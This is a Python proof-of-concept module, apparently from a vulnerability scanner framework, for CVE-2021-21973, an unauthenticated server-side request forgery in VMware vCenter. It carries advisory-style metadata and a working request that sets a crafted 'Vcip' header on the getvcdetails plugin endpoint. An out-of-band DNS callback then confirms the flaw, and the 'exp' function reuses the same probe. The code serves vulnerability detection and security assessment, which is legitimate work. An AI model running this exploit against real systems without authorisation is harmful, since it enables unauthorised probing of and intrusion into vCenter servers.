CVE-2021-21973.py

import requests
import random
import string
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''VMware vCenter Unauthenticated SSRF''',
        "description": '''The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).''',
        "severity": "medium",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21973", 
            "https://twitter.com/osama_hroot/status/1365586206982082560", 
            "https://twitter.com/bytehx343/status/1486582542807420928"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "cvss-score": "",
            "cve-id": "CVE-2021-21973",
            "cwe-id": "CWE-918"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "vmware", "ssrf", "vcenter", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    randstr = gen_randstr(6)
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/ui/vropspluginui/rest/services/getvcdetails"""
        method = "GET"
        data = """"""
        headers = {'Vcip': oob_domain, 'Vcpassword': randstr, 'Vcusername': randstr, 'Reqresource': randstr}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url

def gen_randstr(length):
    return ''.join(random.choice(string.ascii_letters) for _ in range(length))